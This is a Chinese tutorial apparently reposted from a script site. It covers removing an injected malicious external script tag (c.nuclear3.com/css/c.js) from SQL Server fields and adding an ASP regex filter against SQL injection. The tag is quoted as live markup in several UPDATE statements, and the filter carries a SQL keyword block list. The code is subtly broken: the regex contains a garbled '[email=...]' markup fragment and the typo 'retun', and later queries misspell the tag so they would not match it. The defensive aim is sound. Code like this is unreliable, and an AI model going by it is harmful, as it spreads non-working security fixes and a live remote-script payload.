批量替換sqlserver數(shù)據(jù)庫掛馬字段并防范sql注入攻擊的代碼
發(fā)布日期：2022-01-30 08:16 | 文章來源：腳本之家
首先備份數(shù)據(jù)庫，以防不必要的損失。而后對所有被掛馬的小于8000字符的varchar字段執(zhí)行
復(fù)制代碼 代碼如下:
update 表名 set 字段名=replace(字段名,'<Script Src=http://c.n%75clear3.com/css/c.js></Script>','')
其中<Script Src=http://c.n%75clear3.com/css/c.js></Script>為掛馬字段。執(zhí)行后掛馬字段被清除。但是有部分字段，比如內(nèi)容字段等大于8000字符的varchar字段則需要執(zhí)行
復(fù)制代碼 代碼如下:
update 表名 set 表項=replace(cast(表項 as varchar(8000)),'<Script Src=http:/c.nuclear3.com/css/c.js> </Script> ','')
來更新被掛馬字段，而房產(chǎn)網(wǎng)由于內(nèi)容比較多，執(zhí)行以上語句的時候會發(fā)生假死現(xiàn)象，于是加個區(qū)間分兩次進(jìn)行，一次處理15000條得以解決。
復(fù)制代碼 代碼如下:
update 表名 set 表項=replace(cast(表項 as varchar(8000)),'<Script Src=http:/c.nuclear3.com/css/c.js> </Script> ','') where id>1 and id<15000
以上被掛馬問題一般都是sql數(shù)據(jù)庫，這是sql數(shù)據(jù)庫特有的注入漏洞。換數(shù)據(jù)庫不現(xiàn)實，只能針對以上情況進(jìn)行防范。思路就是在所有數(shù)據(jù)庫鏈接請求那里做相應(yīng)的過濾。
復(fù)制代碼 代碼如下:
<%
Response.Buffer = True '緩存頁面
'防范get注入
If Request.QueryString <> "" Then StopInjection(Request.QueryString)
'防范post注入
If Request.Form <> "" Then StopInjection(Request.Form)
'防范cookies注入
If Request.Cookies <> "" Then StopInjection(Request.Cookies)
'正則子函數(shù)
Function StopInjection(Values)
Dim regEx
Set regEx = New RegExp
regEx.IgnoreCase = True
regEx.Global = True
regEx.Pattern = "'|;|#|([\s\b+()]+([email=select%7Cupdate%7Cinsert%7Cdelete%7Cdeclare%7C@%7Cexec%7Cdbcc%7Calter%7Cdrop%7Ccreate%7Cbackup%7Cif%7Celse%7Cend%7Cand%7Cor%7Cadd%7Cset%7Copen%7Cclose%7Cuse%7Cbegin%7Cretun%7Cas%7Cgo%7Cexists)[/s/b]select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)[\s\b[/email]+]*)"
Dim sItem, sValue
For Each sItem In Values
sValue = Values(sItem)
If regEx.Test(sValue) Then
Response.Write "<Script Language=javascript>alert('非法注入！你的行為已被記錄！！');history.back(-1);</Script>"
Response.End
End If
Next
Set regEx = Nothing
End function
%>
做一個通用的sql防注入頁面，把它包含在conn.asp數(shù)據(jù)庫連接語句里邊，這樣就實現(xiàn)了全站的防范 sql 注入的攻擊了。但是前臺的類似？id=這樣的語句還是存在注入漏洞，需要我們嚴(yán)格過濾 request.form 和 request.querystring 獲取的內(nèi)容。堅決不用 request("name") 這樣的方式獲取值，凡是采用 cookies 保存的內(nèi)容，盡量不要用在sql語句里進(jìn)行查詢數(shù)據(jù)庫操作。 如果不熟悉sqlserver的朋友可以用軟件來實現(xiàn)
sqlserver 數(shù)據(jù)庫批量替換工具(數(shù)據(jù)庫及文本文件查找替換) v1.0中文綠色版
SQLServer 數(shù)據(jù)庫批量查找替換工具1.2 SQL木馬清除助手
版權(quán)聲明：本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有，歡迎引用、轉(zhuǎn)載，請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站，禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像，否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來，僅供學(xué)習(xí)參考，不代表本站立場，如有內(nèi)容涉嫌侵權(quán)，請聯(lián)系alex-e#qq.com處理。
相關(guān)文章
關(guān)注官方微信